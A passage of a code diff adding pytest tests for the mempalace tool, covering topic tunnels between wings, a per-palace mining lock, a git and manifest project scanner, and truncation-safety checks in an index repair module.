), f"tunnels.json parent dir mode is {oct(parent_mode)}, expected 0o700"
class TestExplicitTunnels:
def test_normalize_wing_uses_shared_rule_and_trims_empty(self):
assert palace_graph._normalize_wing(" Mempalace-Public ") == "mempalace_public"
assert palace_graph._normalize_wing(" ") is None
assert palace_graph._normalize_wing(None) is None
def test_create_tunnel_deduplicates_reverse_order_and_updates_label(
self, tmp_path, monkeypatch
):
@@ -135,3 +170,212 @@ class TestExplicitTunnels:
connections = palace_graph.follow_tunnels("wing_code", "auth", col=col)
assert len(connections) == 1
assert "drawer_preview" not in connections[0]
class TestTopicTunnels:
"""Cross-wing topic tunnels (issue #1180).
When two wings share confirmed TOPIC labels above a configurable
threshold, a symmetric tunnel is created between them. Tunnels are
routed through the existing ``create_tunnel`` storage so they share
dedup and persistence with explicit tunnels.
"""
def test_compute_topic_tunnels_creates_link_for_shared_topic(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_alpha": ["Angular", "OpenAPI"],
"wing_beta": ["OpenAPI", "Kubernetes"],
}
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
assert len(created) == 1
assert created[0]["source"]["wing"] in {"wing_alpha", "wing_beta"}
assert created[0]["target"]["wing"] in {"wing_alpha", "wing_beta"}
# Room is namespaced with the ``topic:`` prefix so it can't collide
# with a literal folder-derived room of the same name. Casing of the
# topic is preserved for display.
assert created[0]["source"]["room"] == "topic:OpenAPI"
assert created[0]["target"]["room"] == "topic:OpenAPI"
assert created[0]["kind"] == "topic"
# Label carries the human-readable topic without the prefix.
assert "OpenAPI" in created[0]["label"]
assert "topic:OpenAPI" not in created[0]["label"]
# Tunnel is retrievable via the standard list_tunnels API.
listed = palace_graph.list_tunnels()
assert len(listed) == 1
assert listed[0]["id"] == created[0]["id"]
def test_compute_topic_tunnels_no_link_below_threshold(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_alpha": ["Angular", "OpenAPI"],
"wing_beta": ["OpenAPI", "Kubernetes"],
}
# min_count=2 requires two overlapping topics — only one shared.
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=2)
assert created == []
assert palace_graph.list_tunnels() == []
def test_compute_topic_tunnels_above_threshold_creates_per_topic_links(
self, tmp_path, monkeypatch
):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_alpha": ["Angular", "OpenAPI", "Postgres"],
"wing_beta": ["Angular", "OpenAPI", "Redis"],
}
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=2)
# Two shared topics × one wing pair = two tunnels.
rooms = sorted(t["source"]["room"] for t in created)
assert rooms == ["topic:Angular", "topic:OpenAPI"]
def test_compute_topic_tunnels_case_insensitive_overlap(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_alpha": ["openapi"],
"wing_beta": ["OpenAPI"],
}
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
assert len(created) == 1
def test_compute_topic_tunnels_empty_input_is_noop(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
assert palace_graph.compute_topic_tunnels({}) == []
assert palace_graph.compute_topic_tunnels({"wing_a": []}) == []
assert palace_graph.list_tunnels() == []
def test_compute_topic_tunnels_three_wings_pairwise(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_a": ["foo"],
"wing_b": ["foo"],
"wing_c": ["foo"],
}
created = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
# 3 wings sharing the same topic → C(3,2) = 3 pairs → 3 tunnels.
assert len(created) == 3
endpoint_pairs = {
tuple(sorted([t["source"]["wing"], t["target"]["wing"]])) for t in created
}
assert endpoint_pairs == {
("wing_a", "wing_b"),
("wing_a", "wing_c"),
("wing_b", "wing_c"),
}
def test_topic_tunnels_for_wing_only_links_that_wing(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_a": ["foo", "bar"],
"wing_b": ["foo"],
"wing_c": ["bar"],
}
# wing_a should link to both b (via foo) and c (via bar).
created = palace_graph.topic_tunnels_for_wing("wing_a", topics_by_wing)
endpoint_pairs = {
tuple(sorted([t["source"]["wing"], t["target"]["wing"]])) for t in created
}
assert endpoint_pairs == {("wing_a", "wing_b"), ("wing_a", "wing_c")}
# The b-c pair is NOT created because wing_a's incremental pass
# only computes pairs that include wing_a.
assert len(palace_graph.list_tunnels()) == 2
def test_topic_tunnels_for_wing_unknown_wing_is_noop(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {"wing_a": ["foo"], "wing_b": ["foo"]}
assert palace_graph.topic_tunnels_for_wing("wing_missing", topics_by_wing) == []
assert palace_graph.list_tunnels() == []
def test_compute_topic_tunnels_dedupe_on_recompute(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
topics_by_wing = {
"wing_alpha": ["OpenAPI"],
"wing_beta": ["OpenAPI"],
}
first = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
second = palace_graph.compute_topic_tunnels(topics_by_wing, min_count=1)
# create_tunnel is symmetric/dedupe — repeated computation should
# not multiply the stored tunnels.
assert first[0]["id"] == second[0]["id"]
assert len(palace_graph.list_tunnels()) == 1
def test_topic_tunnel_room_does_not_collide_with_literal_room(self, tmp_path, monkeypatch):
"""Regression: a literal "Angular" folder-room and a topic tunnel
for "Angular" must resolve to distinct endpoints so ``follow_tunnels``
from the real room doesn't accidentally surface topic connections
(issue raised in review of #1184)."""
_use_tmp_tunnel_file(monkeypatch, tmp_path)
# Explicit tunnel anchored at a literal "Angular" room in wing_alpha.
palace_graph.create_tunnel(
"wing_alpha", "Angular", "wing_gamma", "frontend", label="explicit"
)
# Topic tunnel between the same wings that share the "Angular" topic.
palace_graph.compute_topic_tunnels(
{"wing_alpha": ["Angular"], "wing_beta": ["Angular"]}, min_count=1
)
# follow_tunnels on the literal Angular room only sees the explicit link.
literal = palace_graph.follow_tunnels("wing_alpha", "Angular")
assert len(literal) == 1
assert literal[0]["connected_wing"] == "wing_gamma"
# The topic tunnel is stored under the namespaced room.
topical = palace_graph.follow_tunnels("wing_alpha", "topic:Angular")
assert len(topical) == 1
assert topical[0]["connected_wing"] == "wing_beta"
def test_topic_tunnels_carry_kind_field(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
palace_graph.create_tunnel("wing_a", "auth", "wing_b", "users", label="x")
palace_graph.compute_topic_tunnels({"wing_a": ["Redis"], "wing_b": ["Redis"]}, min_count=1)
tunnels = palace_graph.list_tunnels()
kinds = sorted(t["kind"] for t in tunnels)
assert kinds == ["explicit", "topic"]
class TestHyphenatedWingNormalization:
"""Wing names with hyphens or spaces are normalized to underscores on init.
Tunnel helpers must apply the same normalization at lookup time so that
``mempalace-public`` resolves to ``mempalace_public`` and matches the
metadata written by ``room_detector_local.py``.
"""
def test_list_tunnels_filters_hyphenated_wing(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
palace_graph.create_tunnel("mempalace_public", "auth", "wing_people", "users")
assert len(palace_graph.list_tunnels("mempalace-public")) == 1
assert len(palace_graph.list_tunnels("mempalace_public")) == 1
def test_follow_tunnels_matches_hyphenated_wing(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
palace_graph.create_tunnel("mempalace_public", "auth", "wing_people", "users")
by_hyphen = palace_graph.follow_tunnels("mempalace-public", "auth")
by_under = palace_graph.follow_tunnels("mempalace_public", "auth")
assert len(by_hyphen) == 1
assert len(by_under) == 1
assert by_hyphen[0]["connected_wing"] == "wing_people"
def test_create_tunnel_normalizes_wing_names(self, tmp_path, monkeypatch):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
t = palace_graph.create_tunnel("my-project", "src", "your-project", "dst", label="cross")
assert t["source"]["wing"] == "my_project"
assert t["target"]["wing"] == "your_project"
assert len(palace_graph.list_tunnels("my_project")) == 1
assert len(palace_graph.list_tunnels("my-project")) == 1
def test_find_tunnels_warns_on_empty_result(self, tmp_path, monkeypatch, caplog):
_use_tmp_tunnel_file(monkeypatch, tmp_path)
# No data in collection, so build_graph returns empty nodes
with caplog.at_level("WARNING", logger="mempalace_graph"):
result = palace_graph.find_tunnels("nonexistent-wing")
assert result == []
assert "No tunnels found" in caplog.text
+158
View File
@@ -0,0 +1,158 @@
"""Tests for mine_palace_lock — the per-palace non-blocking mine guard.
Covers the fix for the runaway mine fan-out described alongside issues
#974 and #965: if N copies of `mempalace mine` are spawned concurrently
against the same palace, they must collapse to a single runner rather
than queue as waiters that will drive parallel HNSW inserts. Mines
against *different* palaces must still be free to run in parallel.
"""
from __future__ import annotations
import multiprocessing
import os
import time
import pytest
from mempalace.palace import (
MineAlreadyRunning,
mine_global_lock,
mine_palace_lock,
)
def _get_mp_context():
"""Pick a start method that works on every CI runner.
`fork` is cheaper (no re-import) but is unavailable on Windows, so we fall
back to `spawn` there. `spawn` inherits ``os.environ`` (including the
monkeypatched ``HOME``) and re-imports the ``mempalace`` package in the
child, which is sufficient for the lock-file semantics exercised here.
"""
start_method = "spawn" if os.name == "nt" else "fork"
return multiprocessing.get_context(start_method)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _hold_lock(palace_path: str, ready_flag: str, release_flag: str) -> int:
"""Acquire mine_palace_lock, signal readiness, wait for release flag.
Returns 0 if we acquired the lock, 1 if MineAlreadyRunning was raised.
Runs in a child process for true cross-process locking semantics.
"""
try:
with mine_palace_lock(palace_path):
# Tell the parent we hold the lock
open(ready_flag, "w").close()
# Wait until parent tells us to release
for _ in range(500):
if os.path.exists(release_flag):
return 0
time.sleep(0.01)
return 0
except MineAlreadyRunning:
return 1
# ---------------------------------------------------------------------------
# Tests
# ---------------------------------------------------------------------------
def test_single_acquire_succeeds(tmp_path, monkeypatch):
monkeypatch.setenv("HOME", str(tmp_path))
with mine_palace_lock(str(tmp_path / "palace")):
pass # should not raise
def test_lock_reusable_after_release(tmp_path, monkeypatch):
monkeypatch.setenv("HOME", str(tmp_path))
palace = str(tmp_path / "palace")
with mine_palace_lock(palace):
pass
# Re-acquire must succeed now that the previous holder released
with mine_palace_lock(palace):
pass
def test_same_palace_serializes_across_processes(tmp_path, monkeypatch):
"""Two processes contending for the same palace: second must be rejected."""
monkeypatch.setenv("HOME", str(tmp_path))
palace = str(tmp_path / "palace")
ready = str(tmp_path / "ready")
release = str(tmp_path / "release")
ctx = _get_mp_context()
holder = ctx.Process(target=_hold_lock, args=(palace, ready, release))
holder.start()
try:
# Wait for the holder to acquire
for _ in range(500):
if os.path.exists(ready):
break
time.sleep(0.01)
assert os.path.exists(ready), "holder failed to acquire lock in time"
# From the parent, we must not be able to acquire the same palace lock
with pytest.raises(MineAlreadyRunning):
with mine_palace_lock(palace):
pytest.fail("second acquire of same palace should have raised")
finally:
open(release, "w").close()
holder.join(timeout=5)
assert holder.exitcode == 0
def test_different_palaces_dont_conflict(tmp_path, monkeypatch):
"""Mines against different palaces must NOT block each other."""
monkeypatch.setenv("HOME", str(tmp_path))
palace_a = str(tmp_path / "palace_a")
palace_b = str(tmp_path / "palace_b")
ready = str(tmp_path / "ready_a")
release = str(tmp_path / "release_a")
ctx = _get_mp_context()
holder = ctx.Process(target=_hold_lock, args=(palace_a, ready, release))
holder.start()
try:
for _ in range(500):
if os.path.exists(ready):
break
time.sleep(0.01)
assert os.path.exists(ready), "holder failed to acquire lock in time"
# Different palace — must succeed even while palace_a is held
with mine_palace_lock(palace_b):
pass # no exception expected
finally:
open(release, "w").close()
holder.join(timeout=5)
def test_palace_path_is_normalized(tmp_path, monkeypatch):
"""Relative and absolute forms of the same path must use the same lock."""
monkeypatch.setenv("HOME", str(tmp_path))
monkeypatch.chdir(tmp_path)
os.makedirs(tmp_path / "palace", exist_ok=True)
absolute = str(tmp_path / "palace")
relative = "palace"
# Hold the lock with the absolute form; attempting to re-acquire with
# the relative form (which resolves to the same absolute path) must fail.
with mine_palace_lock(absolute):
with pytest.raises(MineAlreadyRunning):
with mine_palace_lock(relative):
pytest.fail("normalized path collision should have raised")
def test_mine_global_lock_is_alias_for_back_compat(tmp_path, monkeypatch):
"""Old callers of `mine_global_lock` should still work."""
monkeypatch.setenv("HOME", str(tmp_path))
assert mine_global_lock is mine_palace_lock
with mine_global_lock(str(tmp_path / "palace")):
pass # the alias accepts the same palace_path argument
+576
View File
@@ -0,0 +1,576 @@
"""Tests for mempalace.project_scanner."""
import json
import os
import shutil
import subprocess
from pathlib import Path
from types import SimpleNamespace
import pytest
from mempalace.project_scanner import (
PersonInfo,
ProjectInfo,
_dedupe_people,
_is_bot,
_looks_like_real_name,
_collect_manifest_names,
_merge_detected,
_parse_cargo,
_parse_gomod,
_parse_package_json,
_parse_pyproject,
_UnionFind,
discover_entities,
find_git_repos,
scan,
to_detected_dict,
)
# Keep only a small portability-focused allowlist for git subprocesses in tests.
GIT_ENV_ALLOWLIST = ("HOME", "SystemRoot", "ComSpec", "TMPDIR", "TEMP", "TMP")
GIT_EXECUTABLE = shutil.which("git")
def _gitdir_marker(path: Path) -> str:
return f"gitdir: {path}\n"
# ── manifest parsers ────────────────────────────────────────────────────
def test_parse_package_json(tmp_path):
f = tmp_path / "package.json"
f.write_text(json.dumps({"name": "my-package", "version": "1.0.0"}))
assert _parse_package_json(f) == "my-package"
def test_parse_package_json_missing_name(tmp_path):
f = tmp_path / "package.json"
f.write_text(json.dumps({"version": "1.0.0"}))
assert _parse_package_json(f) is None
def test_parse_package_json_malformed(tmp_path):
f = tmp_path / "package.json"
f.write_text("{ not valid json")
assert _parse_package_json(f) is None
def test_parse_pyproject_pep621(tmp_path):
f = tmp_path / "pyproject.toml"
f.write_text('[project]\nname = "my-py-package"\n')
assert _parse_pyproject(f) == "my-py-package"
def test_parse_pyproject_poetry(tmp_path):
f = tmp_path / "pyproject.toml"
f.write_text('[tool.poetry]\nname = "poetry-pkg"\n')
assert _parse_pyproject(f) == "poetry-pkg"
def test_parse_cargo(tmp_path):
f = tmp_path / "Cargo.toml"
f.write_text('[package]\nname = "rust-crate"\nversion = "0.1.0"\n')
assert _parse_cargo(f) == "rust-crate"
def test_parse_gomod(tmp_path):
f = tmp_path / "go.mod"
f.write_text("module github.com/user/my-go-mod\n\ngo 1.21\n")
assert _parse_gomod(f) == "my-go-mod"
# ── bot filtering ───────────────────────────────────────────────────────
def test_is_bot_catches_github_actions():
assert _is_bot("github-actions[bot]", "41898282+github-actions[bot]@users.noreply.github.com")
def test_is_bot_catches_dependabot():
assert _is_bot("dependabot[bot]", "dependabot@github.com")
def test_is_bot_catches_pr_bot():
assert _is_bot("Comfy Org PR Bot", "prbot@example.com")
def test_is_bot_does_not_flag_github_privacy_email():
# Real humans use ...@users.noreply.github.com when privacy is enabled.
# Must NOT be filtered.
assert not _is_bot("Igor Lins e Silva", "123456+igorls@users.noreply.github.com")
def test_is_bot_does_not_flag_robot_person_name():
# "Robot" as a surname should not trigger the \bbot$ pattern
# since \b requires a boundary before 'bot'.
assert not _is_bot("Sarah Robot", "sarah@example.com")
def test_looks_like_real_name_accepts_human():
assert _looks_like_real_name("Igor Lins e Silva")
assert _looks_like_real_name("Jane Doe")
def test_looks_like_real_name_rejects_handles():
assert not _looks_like_real_name("666ghj")
assert not _looks_like_real_name("comfyanonymous")
assert not _looks_like_real_name("bensig")
assert not _looks_like_real_name("")
assert not _looks_like_real_name("no_spaces_handle")
# ── union-find dedup ────────────────────────────────────────────────────
def test_unionfind_merges_shared_email():
commits = [
("Milla J", "shared@example.com", "repo1"),
("MSL", "shared@example.com", "repo1"),
("Milla J", "other@example.com", "repo1"),
]
people = _dedupe_people(commits)
# All three commits collapse into one "Milla J" person (MSL is filtered
# as display name because it lacks a space but its commits still count).
assert "Milla J" in people
assert people["Milla J"].total_commits == 3
assert "MSL" not in people
def test_unionfind_keeps_distinct_people_separate():
commits = [
("Alice Example", "alice@example.com", "r"),
("Bob Sample", "bob@sample.org", "r"),
]
people = _dedupe_people(commits)
assert "Alice Example" in people
assert "Bob Sample" in people
def test_unionfind_merges_shared_name():
"""Same display name, two different emails, same person."""
commits = [
("Jane Doe", "jane@work.com", "r"),
("Jane Doe", "jane@personal.com", "r"),
]
people = _dedupe_people(commits)
assert people["Jane Doe"].total_commits == 2
assert len(people["Jane Doe"].emails) == 2
# ── project_info / person_info ─────────────────────────────────────────
def test_project_info_confidence_is_mine():
p = ProjectInfo(name="x", repo_root=Path("."), is_mine=True)
assert p.confidence == 0.99
def test_project_info_confidence_no_git():
p = ProjectInfo(name="x", repo_root=Path("."), has_git=False, manifest="package.json")
assert p.confidence > 0.8
def test_person_info_signal_pluralization():
p = PersonInfo(name="x", total_commits=1, repos={"a"})
assert "1 commit across 1 repo" == p.to_signal()
p2 = PersonInfo(name="y", total_commits=5, repos={"a", "b"})
assert "5 commits across 2 repos" == p2.to_signal()
# ── find_git_repos ──────────────────────────────────────────────────────
def test_find_git_repos_detects_root_repo(tmp_path):
(tmp_path / ".git").mkdir()
repos = find_git_repos(tmp_path)
assert tmp_path in repos
def test_find_git_repos_detects_nested(tmp_path):
sub = tmp_path / "subproject"
sub.mkdir()
(sub / ".git").mkdir()
repos = find_git_repos(tmp_path)
assert sub in repos
def test_find_git_repos_skips_nested_inside_repo(tmp_path):
"""If root is a repo, nested repos are still discovered as separate roots."""
(tmp_path / ".git").mkdir()
deep = tmp_path / "a" / "b" / "nested-repo"
deep.mkdir(parents=True)
(deep / ".git").mkdir()
repos = find_git_repos(tmp_path)
assert tmp_path in repos
assert deep in repos
def test_find_git_repos_detects_git_file_markers(tmp_path):
(tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
sub = tmp_path / "subproject"
sub.mkdir()
(sub / ".git").write_text(_gitdir_marker(tmp_path.parent / "sub.git"))
repos = find_git_repos(tmp_path)
assert tmp_path in repos
assert sub in repos
def test_find_git_repos_empty_dir(tmp_path):
assert find_git_repos(tmp_path) == []
# ── scan ────────────────────────────────────────────────────────────────
def _require_git() -> None:
if GIT_EXECUTABLE is None:
pytest.skip("git executable not available")
def _git_test_env(name: str, email: str) -> dict[str, str]:
env = {
"GIT_AUTHOR_NAME": name,
"GIT_AUTHOR_EMAIL": email,
"GIT_COMMITTER_NAME": name,
"GIT_COMMITTER_EMAIL": email,
}
for key in GIT_ENV_ALLOWLIST:
value = os.environ.get(key)
if value:
env[key] = value
return env
def _git(*args: str) -> list[str]:
_require_git()
assert GIT_EXECUTABLE is not None
return [GIT_EXECUTABLE, *args]
def _git_commit(
path: Path, filename: str, content: str, message: str, name: str, email: str
) -> None:
_require_git()
env = _git_test_env(name, email)
(path / filename).write_text(content)
subprocess.run(_git("add", filename), cwd=path, check=True, env=env)
subprocess.run(_git("commit", "-q", "-m", message), cwd=path, check=True, env=env)
def _init_git_repo(path: Path, name: str = "Jane Doe", email: str = "jane@example.com"):
"""Helper: init a git repo with one commit."""
_require_git()
subprocess.run(_git("init", "-q"), cwd=path, check=True)
subprocess.run(_git("config", "user.name", name), cwd=path, check=True)
subprocess.run(_git("config", "user.email", email), cwd=path, check=True)
subprocess.run(_git("config", "commit.gpgsign", "false"), cwd=path, check=True)
_git_commit(path, "README.md", "hello", "initial", name, email)
def test_scan_project_from_package_json(tmp_path):
(tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
_init_git_repo(tmp_path)
projects, people = scan(tmp_path)
assert len(projects) == 1
assert projects[0].name == "my-app"
assert projects[0].is_mine is True
def test_scan_project_from_pyproject(tmp_path):
(tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproj"\n')
_init_git_repo(tmp_path)
projects, _ = scan(tmp_path)
assert any(p.name == "pyproj" for p in projects)
def test_scan_prefers_root_manifest_with_explicit_priority(tmp_path):
(tmp_path / "package.json").write_text(json.dumps({"name": "package-name"}))
(tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproject-name"\n')
nested = tmp_path / "nested"
nested.mkdir()
(nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
_init_git_repo(tmp_path)
projects, _ = scan(tmp_path)
assert projects[0].name == "pyproject-name"
def test_scan_fallback_to_dir_name_when_no_manifest(tmp_path):
repo = tmp_path / "my-repo-name"
repo.mkdir()
_init_git_repo(repo)
projects, _ = scan(tmp_path)
assert any(p.name == "my-repo-name" for p in projects)
def test_scan_manifest_only_no_git(tmp_path):
"""A dir with a manifest but no git still produces a project."""
(tmp_path / "package.json").write_text(json.dumps({"name": "manifest-only"}))
projects, people = scan(tmp_path)
assert len(projects) == 1
assert projects[0].name == "manifest-only"
assert projects[0].has_git is False
assert people == []
def test_collect_manifest_names_stops_at_git_file_boundary(tmp_path):
(tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
(tmp_path / "package.json").write_text(json.dumps({"name": "root-name"}))
nested = tmp_path / "nested"
nested.mkdir()
(nested / ".git").write_text(_gitdir_marker(tmp_path.parent / "nested.git"))
(nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
manifests = _collect_manifest_names(tmp_path)
assert [name for _file, name, _dir in manifests] == ["root-name"]
def test_scan_excludes_bot_commits_from_totals(tmp_path):
(tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
_init_git_repo(tmp_path, name="Jane Doe", email="jane@example.com")
_git_commit(
tmp_path,
"bot.txt",
"generated",
"bot update",
"github-actions[bot]",
"41898282+github-actions[bot]@users.noreply.github.com",
)
projects, people = scan(tmp_path)
assert projects[0].total_commits == 1
assert projects[0].user_commits == 1
assert [person.name for person in people] == ["Jane Doe"]
def test_scan_empty_dir(tmp_path):
projects, people = scan(tmp_path)
assert projects == []
assert people == []
def test_scan_returns_empty_for_nonexistent(tmp_path):
missing = tmp_path / "does-not-exist"
projects, people = scan(missing)
assert projects == []
assert people == []
# ── to_detected_dict ────────────────────────────────────────────────────
def test_to_detected_dict_shape():
projects = [ProjectInfo(name="p", repo_root=Path("."), is_mine=True, manifest="package.json")]
people = [PersonInfo(name="Jane Doe", total_commits=5, repos={"r"})]
d = to_detected_dict(projects, people)
# ``topics`` is the LLM-refine bucket for cross-wing tunnel signal —
# always present even when empty so callers can rely on the shape.
assert set(d.keys()) == {"people", "projects", "topics", "uncertain"}
assert d["projects"][0]["name"] == "p"
assert d["projects"][0]["type"] == "project"
assert d["people"][0]["name"] == "Jane Doe"
assert d["people"][0]["type"] == "person"
assert d["topics"] == []
assert d["uncertain"] == []
# ── merge ───────────────────────────────────────────────────────────────
def test_merge_primary_wins_case_insensitive():
primary = {
"people": [],
"projects": [
{
"name": "mempalace",
"type": "project",
"confidence": 0.99,
"frequency": 10,
"signals": ["pyproject.toml"],
}
],
"uncertain": [],
}
secondary = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "MemPalace",
"type": "uncertain",
"confidence": 0.4,
"frequency": 6,
"signals": ["regex"],
}
],
}
merged = _merge_detected(primary, secondary)
# `MemPalace` (uncertain) is deduped against `mempalace` (project) case-insensitively
assert len(merged["projects"]) == 1
assert len(merged["uncertain"]) == 0
def test_merge_drops_secondary_uncertain_when_requested():
primary = {"people": [], "projects": [], "uncertain": []}
secondary = {
"people": [],
"projects": [],
"uncertain": [
{"name": "Foo", "type": "uncertain", "confidence": 0.4, "frequency": 3, "signals": []}
],
}
merged = _merge_detected(primary, secondary, drop_secondary_uncertain=True)
assert merged["uncertain"] == []
def test_merge_keeps_distinct_names():
primary = {
"people": [
{
"name": "Alice Smith",
"type": "person",
"confidence": 0.9,
"frequency": 10,
"signals": [],
}
],
"projects": [],
"uncertain": [],
}
secondary = {
"people": [
{
"name": "Bob Jones",
"type": "person",
"confidence": 0.7,
"frequency": 3,
"signals": [],
}
],
"projects": [],
"uncertain": [],
}
merged = _merge_detected(primary, secondary)
assert len(merged["people"]) == 2
# ── discover_entities ──────────────────────────────────────────────────
def test_discover_entities_falls_back_to_prose_when_no_git(tmp_path):
"""If no manifests or git, regex detector on prose is the only source."""
notes = tmp_path / "notes.md"
notes.write_text(
"Riley said hello. Riley asked about it. Riley laughed. "
"Hey Riley, thanks for the help. Riley pushed the change. "
"Riley decided to go."
)
d = discover_entities(str(tmp_path))
# Prose-only fallback kicks in — Riley appears with person signals
all_names = [e["name"] for cat in d.values() for e in cat]
assert "Riley" in all_names
def test_discover_entities_prefers_real_signal_over_prose(tmp_path):
"""When manifest exists, its name wins even if prose has noisy candidates."""
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
_init_git_repo(tmp_path)
(tmp_path / "doc.md").write_text(
"Something. Another. Whatever. Context. Context. Context. Context. "
"realproj. realproj. realproj. realproj."
)
d = discover_entities(str(tmp_path))
proj_names = [e["name"] for e in d["projects"]]
assert "realproj" in proj_names
def test_discover_entities_keeps_uncertain_for_llm_when_real_signal(tmp_path):
"""With --llm, regex-uncertain prose candidates should reach refinement."""
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
_init_git_repo(tmp_path)
(tmp_path / "doc.md").write_text("Noise appeared. Noise repeated. Noise again.")
class FakeProvider:
def __init__(self):
self.prompts = []
def classify(self, _system, user, json_mode=True):
self.prompts.append(user)
return SimpleNamespace(
text='{"classifications": [{"name": "Noise", "label": "COMMON_WORD"}]}'
)
provider = FakeProvider()
d = discover_entities(str(tmp_path), llm_provider=provider, show_progress=False)
assert len(provider.prompts) == 1
assert "Noise" in provider.prompts[0]
assert "Noise" not in [e["name"] for cat in d.values() for e in cat]
def test_discover_entities_keeps_llm_only_project_uncertain_when_real_signal(tmp_path):
"""Repo roots should not auto-promote LLM-only tools/topics into projects."""
(tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
_init_git_repo(tmp_path)
(tmp_path / "doc.md").write_text("Terraform shipped. Terraform changed. Terraform runs.")
class FakeProvider:
def classify(self, _system, _user, json_mode=True):
return SimpleNamespace(
text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
)
d = discover_entities(str(tmp_path), llm_provider=FakeProvider(), show_progress=False)
assert "realproj" in [e["name"] for e in d["projects"]]
assert "Terraform" not in [e["name"] for e in d["projects"]]
assert "Terraform" in [e["name"] for e in d["uncertain"]]
def test_discover_entities_collapses_case_variants_between_manifest_and_convo(tmp_path):
"""A project named `myproj` in a manifest and `MyProj` as a Claude Code
cwd must collapse into one entry. Matches the case-insensitive dedup
used by `_merge_detected` and `miner.add_to_known_entities`."""
root = tmp_path / "projects_root"
root.mkdir()
# Entry 1: a git+manifest project named lowercase `myproj`
repo = root / "-home-u-src-myproj"
repo.mkdir()
(repo / "package.json").write_text(json.dumps({"name": "myproj"}))
_init_git_repo(repo)
# Entry 2: same root ALSO looks like a Claude Code `.claude/projects/` dir;
# the convo_scanner inside will resolve `cwd` to `/home/u/src/MyProj`
# (CamelCase variant of the same project).
session = repo / "abc.jsonl"
session.write_text(json.dumps({"type": "user", "cwd": "/home/u/src/MyProj"}) + "\n")
d = discover_entities(str(root))
project_names = [e["name"] for e in d["projects"]]
# One entry, not two. First-seen casing ("myproj" from the manifest scan)
# is the winner since it was seeded first.
assert len(project_names) == 1
assert project_names[0].lower() == "myproj"
# ── _UnionFind basics ──────────────────────────────────────────────────
def test_unionfind_find_creates_singleton():
uf = _UnionFind()
assert uf.find("x") == "x"
def test_unionfind_union_merges():
uf = _UnionFind()
uf.union("a", "b")
assert uf.find("a") == uf.find("b")
def test_unionfind_transitive():
uf = _UnionFind()
uf.union("a", "b")
uf.union("b", "c")
assert uf.find("a") == uf.find("c")
+428
View File
@@ -1,8 +1,10 @@
"""Tests for mempalace.repair — scan, prune, and rebuild HNSW index."""
import os
import sqlite3
from unittest.mock import MagicMock, patch
import pytest
from mempalace import repair
@@ -254,3 +256,429 @@ def test_rebuild_index_error_reading(mock_backend_cls, mock_shutil, tmp_path):
repair.rebuild_index(palace_path=str(tmp_path))
mock_backend.delete_collection.assert_not_called()
# ── #1208 truncation safety ───────────────────────────────────────────
def test_check_extraction_safety_passes_when_counts_match(tmp_path):
"""SQLite reports same count as extracted → no exception."""
with patch("mempalace.repair.sqlite_drawer_count", return_value=500):
repair.check_extraction_safety(str(tmp_path), 500)
def test_check_extraction_safety_passes_when_sqlite_unreadable_and_under_cap(tmp_path):
"""SQLite check fails (None) but extraction is well under the cap → safe."""
with patch("mempalace.repair.sqlite_drawer_count", return_value=None):
repair.check_extraction_safety(str(tmp_path), 5_000)
def test_check_extraction_safety_aborts_when_sqlite_higher(tmp_path):
"""SQLite reports more than extracted — the user-reported #1208 case."""
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
try:
repair.check_extraction_safety(str(tmp_path), 10_000)
except repair.TruncationDetected as e:
assert e.sqlite_count == 67_580
assert e.extracted == 10_000
assert "67,580" in e.message
assert "10,000" in e.message
assert "57,580" in e.message # the loss number
else:
raise AssertionError("expected TruncationDetected")
def test_check_extraction_safety_aborts_when_unreadable_and_at_cap(tmp_path):
"""SQLite unreadable but extraction == default get() cap → suspicious."""
with patch("mempalace.repair.sqlite_drawer_count", return_value=None):
try:
repair.check_extraction_safety(str(tmp_path), repair.CHROMADB_DEFAULT_GET_LIMIT)
except repair.TruncationDetected as e:
assert e.sqlite_count is None
assert e.extracted == repair.CHROMADB_DEFAULT_GET_LIMIT
assert "10,000" in e.message
else:
raise AssertionError("expected TruncationDetected")
def test_check_extraction_safety_override_skips_check(tmp_path):
"""``confirm_truncation_ok=True`` short-circuits both signals."""
with patch("mempalace.repair.sqlite_drawer_count", return_value=99_999):
# Would normally abort — override allows through
